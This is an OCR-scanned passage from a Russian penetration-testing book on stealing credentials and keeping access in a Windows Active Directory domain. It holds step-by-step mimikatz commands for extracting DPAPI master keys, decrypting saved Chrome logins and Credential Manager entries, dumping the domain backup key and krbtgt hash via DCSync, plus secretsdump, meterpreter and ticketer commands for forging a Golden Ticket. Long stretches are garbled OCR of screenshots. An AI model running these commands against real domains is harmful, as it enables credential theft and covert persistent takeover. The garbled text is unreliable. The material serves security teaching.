ключевую информацию (рис. 6.42). Имея административный доступ, оператор может извлечь все данные DPAPI, где и следует искать мастер-ключ (рис. 6.43). mimi katz # privilege : : debug mimi katz # sekurlsa : : dpapi Теперь, когда оператор владеет мастер-ключом, он может использовать его для расшифровки данных пользователя (рис. 6.44). mimi katz # dpapi : : chrome / in : "C : \Users \<USER>\AppData\Local \Google \Chrome Dev\ User Data\Defaul t\Login Data" /unprotect /masterka y : [мастер-ключ ]
1 6 dc l f 3 ?2c401?2c4518fb3e Рис. 6.42. Извлечение данных DPAPI 5 8 4 5 1 e 6 f 0649dd8 !•t ' p Рис. 6.43. Ключевая информация целевого пользователя 48d4593b30f f 1 f548de00c 294ed1 f 9 f f 2acb5d3c !'.• . ",. ,, ,._, IH. l•f t •• 1'> 1 "' , ;,.,,,,1, J 11 1 '/ ':"J l l·I !·1" t''li'' ".1 Kf· 1• 1 1 1 J, j, ) ' :.,1 1 1· i " '· !,· н Рис. 6.44. Расшифрованные данные формы авторизации пользователя 1 }11·"1·11• ! •1 : · : · JI 1-.· f· i l fj L,1.J1,,t l.1-. • ! с, .,,, 1 , 111·0 , ( , , 11 · • !· ri . t " !1, ! .н1 i • '"''! ' �' f1. • " н r , , 11•:, f p r l п,1· t.1• 1•J\,' Ч : 1 _.1 ,111-1,1'' . t, f 1".'-1 f rr.'. 1 · � . �n·; ·.".·1!11f,t. 1 • ', lt.•, ,. J ."!· • . ', tH 4 1 �1 e t-;"'/. 1'. .i·.'·.'· ' \! 1 1 ' 1 1 ; 1· · t· . • •;i.1.J, t ·l \ ' , '/ ' ·�l1f•. 1 1" / ·1 ' ', f '.Jt •IH1" io \ ,. , ,, ! t .• 1 •. 1 1 � l 11t f'Чi·'' 1· 11 }(1"1 •·1•f1 t " lн· ",.,. 1 •· < 1 1 ,_! 11 \t}'i1f' 1 " но, ir1'1 f:t•'.'\'11 Н о 1 ,.,, , ..., ! f1,,t • f)f ! • v 11 l.it 1 l r , " fн 1;11 ! (1 1!; · 1•,1-.·'it 1.!Jt ', ·\· 11 1!'11"� ,•_1 , � ,\ ·l l •l r· t ' . �:·· ·1!! j , _ , ,J , J ·1'.'I \, lll! ! l l '"1H,!1·l1•1• '''.l tr·,J l l ·.· 1 l ;',11 !1', ,I �. сч с� 41 tl•· ��'!�;J�. 1·1'.1·-rie .1•Н·,1:" 4t ::<ti,e4'f .:>t4c ('4l:>ci:ut;.ьtJl 44';. J' 1 '·� н !;:-. t 1!. � � 4'.''"·, t 'it • па:"r-:- >-ht> ·-1 ; с A l•t(i4'1:. ;• � t_. .;·Jqt ". t,�_. 1 ',''!<.'J'ft Ч':' ",н', . 1 4t t. � "! 1 t. I ;.;. " ',Ji.._, ·i'!1·,� .• t-. 4._.. �. ; , •1 , ', ',', >.( ,.'/l•'/,"1 J '. : '� l l • '1 1',"J 1•,'' " ; 1 ·'11 ·1\ ' �1 , -,• ,1 :� ; ,. '1 \ J ! , 1 l f l° i J �; � · 1· •1 1 ""\ 1 n 1 �.tt :· U ,!р,1 р 1 : " s l1al (key) О ; 584085 <ОООООООО : ООО8е995 ) нt}1ent icat ion Id ] n t e 1• a c t i u e fl'oA 2 e s s ion Bil set• Hal"le \ J l Н-1 BS6 F4LCHK2 ona.in \! IH-1BS6F4LCHJ<2 ogoгi S e 1•v e 1:· 1 ? . 03 . 2020 1 з : 5 1 : 2 з ogon T ime s-1-5-21-29?5?89ьо1-2ы194з5зs-зв29519(i)2 в - 1 005 ID [00000000 {4b35628f-60f5-4536-a862-2a9e 1 d 4 1 d e f 2 ) " GU I D 1 ? . 03 . 2020 1 3 : 5 1 : 5 5 * T i111e ca1dd4d2c554?4f5551?809 6 З e a a 6 1 4 f c 9 ?9 3 Ыae?54966 6 4 e 5 3 6 9 c e 1 2 d e c 2 c 6 3 8 3 2 4 1 d e 8 e 9 2 3 59??99e34654f395e49a4cc45ce066Ы44595dbf 5 f 0c 2 4?5f * Maste1•Hey " sl1a l < key) О ; 1 9 3 2 5 2 <00000000 : 0002 f 2e 4 > нt}1ent ica.t ion l d I n terac t iu e frorrt 1 e .s s ion 1·oot se1· Nar.te \11 N-1BS6 F4LCNJ<2 ol"\ain \Н N-1BS6 F4LCNJ<2 ogon S e 1•ve1· 1 ? . 03 . 2 020 1 3 : 3 9 : 45 ogon Т irТJe S-1-5-21 -29?5?89604-2 6 2 1 9 4 3 5 3 8 - 3 8 2 9 5 1 9 02 8 - 1 001 ID !00000(i)0(i)] {2?915929-c ?4d-4bf 4-8418-895ba033030a) " GU I D 1 ? . 03 . 2020 1 4 : 34 : 1 ? * T irrte ?50ac a 5 5 f 9 2 8 c 41 f ?c c e daa?d l c e 1 9 2 f ?e f c f 2 5 f 8 1 9 8 f c bd0df5d3 8 c l e 9 c ?de56030a4f ? f 5 c 5 4 8 6 02a2 f 3 c 4f abaa2 f l 9 b f f 5 1 1 42 e 2 40a3f03bd6b0f eeca14d * Maste1'"J<ey il"\ikatz # sekur l s a : : dpapi iлikatz n p1• i v i lege : : de httg 1•ivi lege ' 2 0 ' 01< О1 111 111 ;;;i 111 ..... 1\) О1
Поиск критически важных данных при атаке на домен 127 C : ,Users,Bil,AppDatct,Rodming,Mic rosoft ,Protect )dir /a : s IoN в !� с 1 1 н нt с r в е С н с Иt·1е е т ие1 к и . Сериd ныИ нонер 1 о мсt : 167Е З UJ71 Соцержиtюе 17 . UJЗ . 2UJ2Ш 1 '7. UJЗ . 2UJ2UJ 1 7 . ШЭ . 2Ш2Ы 1 '/ . 03 . 2(,J2U f1а11к и 1Э 1] 1J 13 С: '!Jse t•s 'Bi 1Чlp11Ddta,Ro ,,ming,Mic l'Osof't, '1'1•u t ее t < D I R> < D I R> 2 4 GREDll J ST S 1 5 21 29?5789ЬU1 2L2 194J5JH < D I IO 24 б а И r J 1 UJ 1 2 917 248 в а И т с в u & о ц н о 51 51 �1 �. 1 1 (�(н411ов ] 11(.\flOK J H 2 9 5 1 902H 1 U05 Рис. 6.45. SID целевого пользователя Э . В контексте администратора без сессии целевого польэоватеЛJ1 Если целевой пользователь на текущий момент не вошел в систему, то для получе ния его мастер-ключа необходимо знать его SID (рис. 6.45), GUID и пароль или NТLМ-хеш пароля . Если пароль или хеш известен (а как получить хотя бы хеш, рассказывалось ранее), то нужно узнать только SID, GUID мы получим из сообще ния mimikatz (как в предыдущем пункте). И теперь оператор может получить мастер-ключ (рис. 6.46). mimi katz # dpapi : : chrome / in : "C : \Users \<USER>\AppData \Roaming\Microsoft\Protect\<SID>\ <GUID>" /sid : [SID] /password: [ пароль ] Что делать дальше, уже подробно рассказывалось выше. 4 . Административный досту п к контролле ру домена Теперь рассмотрим случай, когда оператор не имеет хешей или паролей пользова телей, при этом сами пользователи в настоящий момент не залогинены в системе. Как уже говорилось, получить мастер-ключ можно с помощью ключа резервного копирования домена (рис. 6.47). Ключ резервного копирования никогда не меняет ся, и его можно использовать для расшифровки абсолютно любых ключей пользо вателей домена. mimi katz # privilege : : debug mimi katz # lsadurnp : : backupkeys /sуstеm : [ контроллер домена] /export Далее оператору нужен GUШ целевого пользователя (рис. 6.48). Осталось получить мастер-ключ для этого пользователя (рис. 6.49). dpapi : : masterkey /in : [ GUID] /pvk : [ РVК-ключ] Таким образом, мы рассмотрели все способы извлечения сохраненных паролей.
Глава б 128 а:: s ж: 111 m о а. s 111 7 2 � а. r:::: е Е! о ж: m а. Q) ... Q) а. 111 7 2 � 1а. о �111 ::li Q) s ж: Q) � r:::: о i:::: ф .... ф u r:::: u " (1) :s: D.. <.; "' Е . ... " "' " ' � "' "" . " . • .-< :><: "' " "' . "" "' i о • "" � " ·" 0 , .;:; "" ,...; '�� # � N "' " � е .-. ....... -,..; ;:,. Е ·м ·�f '" " = t � � Е 1 1 щ 1 !Z!ЭФ !; " "' S: !1 1 1 с ;::; ф р., •t"!•/"l•,..j "" � ::i. � "' "' f o x .zi x • • • 1 ... И :>с !Э U "' ul ul (.)! " "' JШS � X !Zl v " t/J " �' "' ... о. i ZI " "" "" " "' х:а: х � ... ... " "" о - ис м с с с "' " ;�v =:.;;i о """' ( � "' " • � c r;c zi 1 1 1 о > ...:l 'llf' Э И -� c:r; <z: o :::н�.; z=; ;:x:: � r UUNФ>OOO .. .. " " " " " " " " " с • о с � .... Е .,., ш :..Q • Q .:С: "' •1'-1 41 " . ... :о. с " • С: Е tt: . ... " Q) )( •"" "' � 1: с е: ..... ..... ю • "' Ф� OJ E ..Q ... • . � OJ E w N :O. lt/ . с • •.-! ::: ф•>-1•1"1 . " " 0 " :J> а� :.. " � � lt/ о . . . . о � С) •М � О • � � с Е Ф З'! :>'t �·мх ::;i. :.. <1.1 � :::i - .-1 t.1 iU х :.. � х �� м� �м м�(х:;Х :Х µ,J::i., """ Щ 1 "' "' "' "" " "' " "' " "' t* ,� "' "' 1 "' "' " ..,, 1 • "' "' м "' • "' "' у • "' "' • • • "" "' . • Мс .r; c-0-- -. 0-M A ..Q � 11;: � ....") � � Q) \J:I '- 11$ ..С: .,..� м .::! ..... ... � IJ') V 4< д � \J'I rJ :::O S C"'" ..Q: co м () (,) f.o.,, ('\") .,..., " "' . QQ >:+. S {"f') ...O A �::о � '\ H .n N C"- � � ,..= ,_ l.O ... .. ...t o- .-1 0 � \.f) � !О � . н ... Э"t;; С"- 1'"1 tl) ...O CJ >i:i 11.'1 >t; "t: :.... ,...i ::Q :::O C. Cl'\ i:'-1:' >J:; '1= 0-. A J) � ..Q fJ i.."i ..Q Q,\ -l lD lt/ Y'"l ""' N � Ф t"'H�! Q'- c+. C'- N �N :;.! � � Ф � О'°"" � ::;o 'Q" c.;::i Ф Q'о "С 0-. N � C. "l;;: N ..Q M � !J) "C t"- � M N !';i "' "" " "' 1;.1 N "C ..n V:J t°"" � «:1 0-- M ;.." N � U O'- GO � � \...n Э ц.. N OO O.I S CJ 1j t.; � � .Q O:: t'Z N ':"'I ..... \Л СЭ "t:i � o-. r:c t"- ..Q "' .:; 1 " " ... ш '""' � са "'t! u N <c:r U') � � QJ :::O -C!: t'- N ID Ф � "Q C'- � Ф S � ICi � C'- м ... a:i o-. � ::1>i QJ "Q O- ':"'I C'- &:11,,,.., 'Ci C-J ,µ .;:r::; t,1 ttS t"<J t"- N � M � •М С1 UZ! IO S C' � '!""'! .-1 ;)\Q<. ttl "" "l:J" t"- "f' � l.n ·l'f tJ .t::! M C°"' <XI M � N M ... lti M N � C:O ...t:l iri � "Ci •1"1 :n("!') С. .дСО c;. � N ...O � V � ..O c+. L() M :::i-- '-:i 10J n:; ."H.� l.D tt\ Ч.. C'-J O'< с,! М � N --::; м �"w r.J ('\- G Е t м ..,..; l'tl N N i.Л Ulr � � ID ..Q ..,.. N "':: QO ..cl " о ....: .... ,; � � -sьr��! ��ф ... � о "' х UI ф u :s: D..
(!uUe�s ion -нnsrERKEYs tЮОООШОО 0 ШVJЫU01?4 - 3'12 00Q0(I088 - 136 104 ШfJeOl.:11!168 2 {S11f229??··962И-1fl9'1-"6З2-1\6Зbldli104'ldl} Ofol�ПGQQA - lil f•IШOOШJN2 - gt� bll1<t�t е rH�№ µbSec1•et dнSec.1•ctLen dнAcceг.::cl1er.bl.en d�����7�['/..... dt1Ue1·� ion е f!J{!]l!H30W!iJ2 - 2 t\llilblUUlliJ@ - 2Sb bll!WJE10fiJS8 - 88 {2fl??6c?П-lo69З-4it4b-·Rii5-' -743fс.9253616.} 65 4ее211410cabl",?SЗ91 4bll 1>7?2Jf812571е31с3?(13?1 мlbcЗ4S.d31fнblSf ЗS 104Se2?hf a68f>bi'ltif12S}П4??БВJ 1 'Je.,ll6Se 4'5fсi!Jc?6йЬf1>41.12bc?S11670f.a1 а1е2<11 21.1e9'5f80f8it6e8f d18e9t:: 00d4?18fl2?210Зitef ЬЗSЗ29?9'с f 9 - 2 6В1еd9еЗЗЗdЬс119?581261hdd8!>60п9 01!JQ(И6SQ - 1800Ш J Н'IA C > �1Шй081!109 - 32.'Гrl <CAl,G_ {J}f•lfil0f>6111 З - 26tJS < CfH.G...ЗDES> 1Slile212 Jf396662?1ЬЗ495?56е3J ?6ll 1 2607147'4f6 9?7!:13@297172�Ы9ce3JJ911241<J8254f J2e f33t12cl51 f ?ffiea?6 Зе085641 Ы Sl)JJП8�4tlc2Bb0132917а6Ыi11 uf4fl IJ?Jm209 IJ9?Sb2? 08800002 afiJ2 - d630d1<1.019d1 l'pvl�:ntds _capi_f.1_28??Gc'l8 bl193 · 4d4h- 8 Зdс4.е619ЗH9'l8f1Шс5f!"1f.6Зс4З2е628аЗdШlfН94fdd51..1e 955<\ef.Ь?6е1?4 · 1899 SID f1•11n p«th �ee:i� 1 to )1�: S-1-�-2i-З'?ЗЗ8ЗRсtЗS-609424fl , 2-4ПЗ(,2581R'>-11И9 kflli ���1;�;:��;r,r, '. '. -: Рис. 6.49. Получение мастер-ключа пользователя ?2�ii�c �;�r,9,.,JJ<1"2 1 ?-1529 t 8G2<18S1:е с ta920f r, ?�I??t.. 2 :1 2с .f Зе?1: .1 836S!l2b<t3t<IЬ1.S1.le 1431Юbffi8f dr.-.:.2l1cfJ9bl:J234d21e?118 ff.4e928 J 470 r 7 ::;\1<11 : 2492GSJ11Э0995S9f41bl28901JIJ7�"1df9t?610.:: 182 ::; id ; S 1 S 21 3?33838535 &89424812 · 1Ы362SО185 1109 r dk��i� [dorм if1kt-" l нi t 11 vtJ 1,н 1 le с.н· ""': GIJ f [): fZn??f,,�?n·· 11691-·4<1411 . 9,.,5.,....741f(,9zt;1f;4(,} ;TYPf: RSA ' . • '. 1 . з . " . • t " ' •• • ' : ' . : �f1<tl : �1�;;t·;!J /JUU'i':f��'Jf 11M:lN'iW1.Jh'la1M 'Jl '/bll!l11•IG:.! sid : S-1-�-:>.i -З9ЗЗ8385ЗS-6Ы9121Н12-4ЮЬ2�8 18!:.-11U9 Анtо : 89?fS8152S?cЗS2?cbf9S81bc3d8cdc 29€1797?df c�\e84ecSd842.oi.2$d0caЗSf19b291al?db22236d15cЬS6f12'523tlOu.1dblЗa6d219d00?0?0f 2Sa29Ш84J130hft\A1cdf?2205?1c2'59017cafS1102€100JcbSbb2?G()9eSe8391Зdc,,26cff2ЭdS"ЗЭd6J82?bJ <1.5'520dd171аЬВ?21 d2blJb?c ?d2?2J<\?3406а9И171аЬ86 ЬЬ4705аЬа8сс 60Aa.0?82a1?1 •M14Jн:S9b5681S11.t1.Шf81c9c Ьdd92-1.2 9199983421Г�'е1с 1031ИсbSl!Jci.Ь8?9 Г9сЗd рЬАс 1:e:i:н: 11есk : Зс b8Sf2Ь?1bJ6;iЗcd4d9?6f803<'Ьfll.!:iU1 930ad6 fЗ<i9aJ2128bbd1 bЗOЗacScaOdb?ffebh6988c?63b5 f0'11J8?f Ud'!с91ff61.ad8ЫJ6!:idhfe4698f1 dS6f '7UaJ4Sdf f'lec Зf8d?684h1 91а955ЬS1Ь6�f96Ьed2d'l6e9Ь1е?58еа3? { ypt :.��� t•otФdf! al9flasJ1 Sdlt 01..,c;ku11ke'IJ -мnsIERl([\'"M [lt1Uorsion Re Рис. 6.48. GUID целевого пользователя <DIR> 29 29 <DIR> 29 740 5 d f 2 2977 - 9 6 20 -4899 - a6 3 2 - d 6 30dla049 d l 29 9 0 4 BK-TOOHAIN 29 24 Pг eferт ed 3 файлов 1 668 байт 2 папок 10 3 7 9 9 0 2 9 7 6 байт свободно 00fi!Of:1fJllJ2 - 2 4<нtS2"1?5JJe447rt158bc2d4.�041ЬЗff с.11 \iJ00016SO ·· 18000 01!1008009 32?'l? <CnLG_ltMAC) 26115 <Cl'ILG_ЗDES > a.lyC�·ypt ЫООП6Ы1З : 81 f86?ff Ь4Red!> MS 124P-lil282hc74?ca61 1110249Sc8ЬЬ32f\0.f 1 f с h?32Зc!>2f"'fЗ:1l!YIЗht'94?h9e102fSrtbИB'JddR4158bc Ь9fЗ59c@df 042cS.bЗ8d'Jc pbl<e!1 t 4ЗdN Зdа.Че'lh836.3eЬ43dSo\.13dd8 d -f1ASTERKEY,f\�UP.r� l.11n sei1t roun<ls ,,lyH<1c)1 < L118 , н ;J щ pl<c y I .en cl• · I Ct-e dll i i;:tL en dt1DonainИeyLen {111a::torl1eyJ flwPlilHS <lнl'tRsl:crKeyl.!!111 v 21 21 21 21 21 � k��:��;�� � �in: С: 'Usc1•s'v ivo,AppDM«'Ro,.,,miття,Microsof"t'-J'rotect'S'-1 -S-21- 39)38JS!iЗS ·Ь0?42<18 1 2 - "103&2S81H!i-11tl9,Sdf2297? ·?ЫU 17 . 0 3 . 2 0 2 0 17 . 0 3 . 2 0 2 0 17 . 0 3 . 2 0 2 0 17 . 0 3 . 2 0 2 0 17 . 0 3 . 2020 � �ь ��� ;1�� � � �ь = с 2 S>!G11i(! а:s Содержи�юе папки С : \Llseг s \ vi vo\дppDat a\Roaшi ng\Mi c r os oft\Pгot ect\S - 1 - 5 - 21- 3 9 3 38 38 5 3 5 - 609424812 - 4 0 3 62 5818 ) - 1109 Том в устройстве С не имеет метки . Серийный номер тома : 0CD6-C9EB С : \ IJ s e r· s \vivo\AppDat a\Roanti пg\t�i cг os oft\Pгot ect\S - 1 - 5 - 21- 3 9 3 3 8 3 8 5 3 5 - 609424812 - 40 36 2 5 8 18 5 - 1109>di r ..... � :х: � а, :х: Q) � Q) 3 Q) 6 с:: � g> � � � � .с ф � � � с:: 51
Глава б 130 Дис п етчер учетных данн ых Диспетчер учетных данных, или Credential Manager, - это механизм, который по зволяет управлять регистрационными данными пользователей (логин и пароль) для доступа к сетевым ресурсам, а также сертификатами и учетными данными для раз личных приложений (электронной почты, веб-сервисов и прочих, рис. 6.50). Рас смотрим работу с диспетчером учетных данных на примере RDP. Администрирование учетных данных Просмотр и удаление сохраненных све,цений о входе для ве6-сайтов, подключ.енных приложений и сетей. УчеПtые дамые AJU1 Икrе.рнеrа Архивация учетных данных Восстан.овление учетных данных Добавить учетные данные Windows Учl!Тные данные Windows TERMSRV/172.16.65.226 Изменено: Сегодня Адрес в Интернете или сети: Имя nоль;о11-ателJС Пароль: TERМSRV/172.16.65.2.26 е TDOMAIN\Bil ••••• " . Устойчиsость: Локальный компьютер l!Ьменить Удалить . Рис. 6.50. Сохраненные учетные данные в WCM через графический интерфейс Найти те же данные с помощью командной строки можно следующим образом (для английской лакали следует использовать строку / l i stcreds : "Windows Credent ia l s " . ( pиc. 6.5 1): > vaultcmd /listcreds : "Учетные данные Windows" /all Эти учетные данные хранятся в каталоге (рис. 6.52). пользователя с : \Users \<USER>\AppData\Local \ Microsoft\Credentials\ С: '-U s e 1•s'-1•o o t. >v<ш 1 t c 111 t\ / l i s t c 1•e1\s : " Уч е т н ые цанн ые !Hndo\·IS " /a l l Уче т н ые цан н ые в храни 11ище : Уч е т ные ца11 н ые !·lindoщ:; Cxer·I•'- уче т н ых цан ных : У ч е т н ые цан н ые rr а р о л я цо�1е н а \·HndO\·IS Ре с ур с : Do111a in : tai·ge t �T ERMSRU/1 ?2 . 1 6 . 6 5 . 2 2 6 Удос т о в е р е н и е : T DOMA I H'-B i l СкрытыИ : Н е т .:lе р еtн�ще н и е : Н е т Св о И с т в о < И О э л е не 11 т а схены. з н ач е н и е ) : < 1 ШШ . 2 ) Рис. 6.51 . Сохраненные учетные данные в WCM через командную строку
Поиск критически важных данных при атаке на домен 131 C : ,U s e 1•s,root,AppD«t <1,Lo c a l'Mic1•o s o f't 'C1·ede п t i als )dir / а : s Т о н в у сr р о й с т в е С не и и е е т 11е т к и . СерийныИ нонер тона : 1 6 ?E-Зffi?i Содержиное папки С : 'Use1·s'1•oo t ,AppDat a,Loc a l'Micl'osof t 'C1•e deвt ials '1 8 . (iJ3 . 2(!}2(i) 18 . 03 . 2(i)2ffi ' 8 . mз . 2(i)2(i) 1 09 : 25 Ш9 : 25 Ш9 : 25 1 <DIIO <DIIO Ф«И11ов 2 па.пои 3 0 245 4 2 0 6102D52ЕЗА1Ш6ЕЗF4FЕЗВ4?ШЕS??DШЗ1 420 Байт 662 720 баИт СВОбО.ЦНО Рис. 6.52. Учетные данные пользователя а:: х ::ii ж :i:: С11 о:[ )( ::ii :i:: lii � С11 3' s с; s :i:: С11 а. )( Q) о ::i; s :эЕ а. Q) о:[ о (.) м 11) ф u :s: 1:1. с; Q) ... С11 ID о � а r:::: Q) ::ii ж ж С11 о:[ Q) ::ii ж lii � Q) ::ii ж ж С11 ID о а. -& s 3 u С11 а.. ;Z ф u :s: 1:1.
132 Глава б Посмотрим на эти данные (рис. 6.53): dpapi ; : cred / in : C : \Users \<USER>\AppData\Local\Microsoft \Credential s \ [ xpaнилищe ] Самое интересное здесь - это pbData (данные, которые нужно расшифровать) и guidМasterKey. Как получить мастер-ключ, мы рассмотрели раньше (эту стадию мы пропустим). Давайте расшифруем учетные данные (рис. 6.54): dpapi : : cred / in : C : \Users \<USER>\AppData\Local\Microsoft \Credentials\ [ xpaнилищe ] /masterkeys : [мастер-ключ] Подобным образом можно извлечь любые данные, сохраненные в WCM.
ГЛАВА 7 Сохранение доступа при атаке на домен Представьте, что мы скомпрометировали привилегированные учетные записи, ис пользуя разные техники повышения привилегий, распространились по сети, скры лись от средств обнаружения, но неожиданно потеряли контроль над доменом, по тому что администратор по какой-то причине сменил пароль! В этой главе мы раз берем способы сохранить административный доступ, даже если администратор сменил пароли или разрешения. Kerberos Golden Tickets Один из способов сохранить доступ к системе - сформировать Golden Ticket: па роль учетной записи krЬtgt не будет изменен при тех же условиях, при которых может быть изменен пароль администратора. Golden Ticket - это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутен тификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT, он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS (рис. 7. 1 ). Золотой билет Kerberos - действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos ( krЬtgt). А т. к. TGT зашифрован хешем пароля krЬtgt и может быть расшифрован любой службой КDС в домене, то билет и воспринимается как реальный. Дг�я того чтобы сделать Golden Ticket, нам необходимо знать следующее: 1 . SPN домена. 2. SID домена. 3 . NТLМ-хеш доменной учетной записи krЬtgt. 4. Имя пользователя, под которым буд'ет работать оператор (даже если такого пользователя не существует).
Гла ва 7 134 Контроллер доме на Рис. 7.1. Схема аутентификации KerЬeros с Golden Ticket Так как имя пользователя может быть любым, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-кoмaнды Get-ADDoma in (рис. 7.2). Теперь нужно получить NTLM-xeш учетной записи krЬtgt. Сделать это можно как удаленно, так и с помощью mimikatz (рис. 7.3-7.5). С использованием mimikatz PS С : \Users\root\Desktop> Get- ADDontain I!Al lowedDNSSuff ixes !chi 1 dDomains C oniputei''SCont ainer Ое letedObjectsContaine1· Di stingui shedName ONSRoot Doma inCont rol lersContainer OomainHode DomainSID jF orei gnSec ur i t �1Pr i nc i ра 1 scont a iner F orest !Inf rastruct ureHaster 1 Las t LogonRep1 i с at ionI nt erva 1 � L i nkedGroupPo i cyObj ect s ' Las tдndFoundContainer NanagedBy ' Name IJetBIOSName ьjectClass ObjectGUID ParentOomain PDCEmulator Pub 1 i с KeyRequi redPas s.t.10rdRol i ng tюtasCont ainer R eadOn 1 yRep l i с aDi 1'ectorySer·vers ;Rep l i с зDi rec t orySer\'e rs R ID/>1aster ISubordi nateReferences : l ·o Q ! �Systems.Cantaine r ! User·sConta i ner· l {} {} Пl=Computers, OC=doma i n , DC=dom Ol•Deleted Objec t s , DC =doma i n , DC=dom DC=doma i n , DC=dom domain . dom OU=Doщain Controllers . DC=doni.эin, DC,.,dom Hindoнs201 6Domai n Cl\l:вf o r eignSecuri tyPri n c i p a l s , DC=doma i n . ОС =dom doma i n . dom \-!IN- 5ULR6E 1 J Т J 9 . domain . dom { CN={ 3182F340- 016D- 11D2 - 94SF -00C04FB984F9} , Oi=Policies , CN=Sys teni, DC=doma in , DC=dom} CN-LostAndFound, ОС=domain, ОС =dom domain DOHA!N domainDNS Зс571с97 - c9ce-4f0e- 8fd3- af944bd21930 H!N- SULR6E1 JT J9 . domain . dom True CN·NTDS Quot a s , OC=domai n , DC "dom {} {fШl- 5ULRбE 1 J Т J 9 . domain . dom} i>/IN- SULR6E1JT J9 . domain . dom {DC=Fores tDnsZones, DCcdon1ain , ОС i::: dom, DC•Doma inDnsZones, DC•dom.эin , DC=doni, urat ion , DC=domai n , DC=dom} Ol=Sys tem, DC=doma i n , DC·dom CN ....users , DC=do111a in , DC•dorn Рис. 7.2. SID и имя домена СNжСш·1f ig
Сохранение доступа при атаке на домен 135 у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa. mimikatz # lsadшnp : : dcsync /user : krbtgt Рис. 7.3. Получаем хеши с помощью mimikatz, испол ьзуя атаку DCSyпc mimikatz # privilege : : debug mimikatz # lsadump : : l sa /inject /name : krbtgt mimikatz - p r i v i l e g e : : debug · 2 0 · ОК Privilege m i mika t 2 - l s a dump : : l s a / i n j ec : l n ame : < " b t g t DO�A I N / S - 1 - ; - 2 1 - 7 1 9 1 1 1 20 3 - 94 2 6 7 1 344 - 1 8 3 14 0 9 ; 2 3 Domai n RID 0 0 0 0 0 1 f б ( 30 2 ) User k r b t gt P r i mary · NTLH LH : 08f3bf2e292d77d8e460d 3926a0d90de H a s h N T L H : 08f5bf2e292d77d8e460d3926a0d90de ntlm- В : 08f5b f 2 e 2 9 2 d 7 7 d8e460d3926a0d9Bde lm .- 0: ;бde632 e d 3 2 f e 3 fd;9fda37b488Ы492 Рис. 7.4. Получаем хеши с помощью mimikatz, используя базу SAM mimi katz # sekurlsa : : krbtgt r'l : r" : -: a : : -i: s.eкurl sa : : кr ь t g-:: ( ;,_J r· ·�eп: kr"'btgt : cr':?dentials S rc4 hmac nt rc4 hmac old = rc4_мd4 зеs256 hmac )·,mac aes 1 2 8 08f5bf2e292d77d8e460dЗ02бa0d90de B8f5bf2e292d77d8e460d3926a0d9Bde 08f5bf2e292d77d8e460d392бa0d90de 0efc4aa9bcБea7 8 1 1 f59 169;7вB277d136813c83fe4fb5;aб a ; s 7 a з ; 1 0Q e J la8 46d4979e9dd0c87090e980aS495c07c7 Рис. 7.5. Получаем хеши с помощью mimikatz, используя модуль sekurlsa
Гла ва 7 136 Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии rneterpreter (рис. 7 .6). irnpacket-secretsdшnp dornain . dorn/root@ 1 92 . 1 68 . 6 . 1 0 0 Адм>1нистратор : S00 : ааdЗЬ43SЬ51404ееааdЗЬ4ЗSЬ51404ее : 7d909277с8d69995d44сс7418f174ЬЬ4 : : : Гость : 501 : ааdЗЬ4З5Ь51404ееааdЗ.Ь435Ь51404ее : З1dбсfе0d1бае9З1ЫЗс59d7е0с089с0 : � : krbtgt : 502 : эad3b435b51404eeaad3b43Sb51404ee : ... DefaultAccount : 503 : aa dЗb4ЗSb51404eeaadЗЬ435b51404e e : 3 1dбcfe0d16ae931b73c59d7e0c089c0 : : : root : 1000: aadЗb435b51404eeaad3b435b51404ee : 259745cЬ12Зa52aa2e693aaacca2db52 : : : l�IN-5ULR6E1JТ J9 $ : 1001 : aad3b43Sb51404eeaad3b435b51404ee : c854d3f11ea2ad22267ed4571f77d29b : : : [*] Kerberos keys grabbed krbtgt : aes256- c t s - hmac-sha1-96 : 0efc4aa9bcбea7811f591695788277d136813c83 fe4fb55a6a557a35109e11a8 krbtgt : aes128-ct s-hmac-sha1-96 : 46d4979e9dd0c87090e980a5495c07c7 krbtgt : des-cbc -md5 : 6192a137c825d9c 1 Рис. 7.6. Получение хешей с помощью secretsdump Существует два варианта использования rneterpreter: при помощи dcsync_ntlrn (для второго нужно загрузить модуль kiwi, рис. 7.7, 7.8). hashdшnp и meter reter > hashdump r,f,f,f,[,f,t;f,f,f,f,f,f, : 500 : aad3b435b51404eeaad3b435b51404ee; 7d909277c8dб9995d44cc 7418f174bb4 ; ; : r.;,;,r,r, : 501 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее : 3 1dбc fе0d16ае931ЫЗс59d7е0с089с0 : : : krbtgt : 50 2 : aad3b435b51404eeaad3b435b51404ee: ... DefaultAc count : 503 : aadЗb435bS1404eeaad3b435b51404ee : З 1d6cfe0d16ae931 Ы З c 59d7e0c089c 0 : : : root : 1000 : aad3b435b51404eeaad3b435b51404e e : 259 74ScЫ23a52aa2eб93aaac c a 2db52 : : : $ IVIN-5ULR6E1JТJ9 : 1001 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее: c854d3f11ea2ad22267ed4571f77d29b : : : Рис. 7.7. Получение хешей с помощью meterpreter hashdump meter reter > dcsyJic_пtlm krЬtgt [+) Account krbtgt [+] Ll-1 Hash 56de632ed32 fe3fd59fda3 7 b488b2492 [ +) SID S-1-5-2 1- 7 19111203-942 6 7 1 3 44-183 140952 -502 [+] RID 502 [+] NТLJ-1 Hash 08f5bf2e292d7 7d8e460d392бa0d90de Рис. 7.8. Получение хешей с помощью meterpreter dcsyпc_пtlm С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer и с использованием rneterpreter. Tic keter Первым делом следует создать, билет. Для этого используем скрипт ti cketer из па кета irnpacket (напомню, что имя пользователя можно выдумать любое, рис. 7.9). irnpacket-ticketer -nthash 08 f5bf2e2 92d77d8e4 60d3926a0d90de -dornain-sid S - 1 - 5 - 2 1 7 1 9 1 1 1 2 03-94 2 6 7 1 3 4 4 - 1 8 3 1 4 0 95 2 8 -dorna in dornain . dorn anyuser В текущей директории создан билет anyuser . ccache. Экспортируем его. export 